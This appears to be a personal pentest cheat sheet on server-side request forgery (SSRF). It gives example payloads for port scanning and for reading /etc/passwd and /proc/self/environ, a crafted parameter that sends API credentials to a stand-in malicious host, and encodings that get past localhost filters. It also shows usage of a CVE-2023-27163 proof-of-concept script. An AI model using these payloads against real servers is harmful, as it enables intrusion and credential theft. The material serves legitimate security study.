Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) is an attack in which a hacker can make a server request something from another server, usually an internal server or an API.
From instance, a website using an API. If there is a SSRF vulnerability, the hacker may be able to query the API by exploiting the website.
Common attack vectors
- π Headers (mostly User-Agent)
- π Forms (internal API calls)
- πͺ Cookies
- π Remote connections (imports, file processing, etc.)
Common usages are:
- Port mapping
- Firewall by-pass
- Steal sensitive data
There are two kinds of SSRF
- Regular/in-band SSRF: the client will see the result
- Blind/out-band SSRF: nothing is returned to the client
Refer to request grabber to catch requests.
Common payloads
Forms
A common scenario is a PHP call to file_get_contents
to access a remote file. You have similar functions in other languages.
Mapping ports/services πΊοΈ
You may inject URLs such as http://localhost:22
to test if the port 22
is open. You could also make the server call http://ifconfig.pro/
to get some information (IP, DNS...).
$ seq 1 65535 > ports.txt
$ ffuf -w ports.txt -u 'http://IP/?xxx=http://127.0.0.1:FUZZ' -fr 'Connection refused'
Steal files π°
You may inject URLs to steal a file. For instance, a URL using the file protocol: file://some/file/on/the/target
.
-
/etc/passwd
-
/proc/self/environ
You could also try to connect to your FTP server using ftp://
.
URL
Access another untended path β
a?api=path
$\to$ b/path
In that case, you could guess that the first server A is mapping the value given to api
to the server b. You may try to inject the path, and see if you can access other API routes.
Steal API credentials ποΈ
a?api=xxx&r=path
$\to$ xxx.b/path
If the programmer is using user input to determine which server will be queried, then the hacker may try to send the request to their servers instead, and get the API credentials inside the headers.
For instance, with the api=xxx
, a normal request could be sent to xxx.thebestapi.com/path
. But, if a hacker uses api=malicious_website.com?&ignore=
, then the URL crafted is malicious_website.com?&ignore=.thebestapi.com/path
. Notice that the request is now sent to another website, and the concatenated domain name is now the value of ignore
.
Mitigations π‘οΈ
Allow List/Whitelist
It's usually the better way. But, if there is a condition like the URL must start with https://example.com
, then it can be bypassed with https://example.com.malicious.website
.
Others
- Check that the resource type is what was expected
- ...
Deny list/Blacklist
You may allow every IP aside from some such as localhost (127.0.0.1), or 169.254.169.254 in a cloud environment, but there are usually a lot of ways to bypass such filters.
For instance, 0
, 00
, 000[...]0
, 0.0.0.0
, 127.1
(IP shortening), 2130706433
(decimal), 017700000001
(octal), and many more such as 127.0.0.1.nip.io/localtest.me are all resolving to 127.0.0.1
.
Example CVEs
CVE-2023-27163
CVE in request-baskets. POC (shell script) (0.02k β).
$ ./CVE-2023-27163.sh http://target:port http://listener:port
Creating the "<backet>" proxy basket...
Basket created!
$ curl http://target:port/<backet> # send to listener
It can be used to access a resource behind a firewall.
$ ./CVE-2023-27163.sh http://target:port http://target:port2
π» To-do π»
Stuff that I found, but never read/used yet.
Other attack vectors
- avatar form
- a script
- a header
- ...
- Blind SSRF (requestbin/burp collaborator)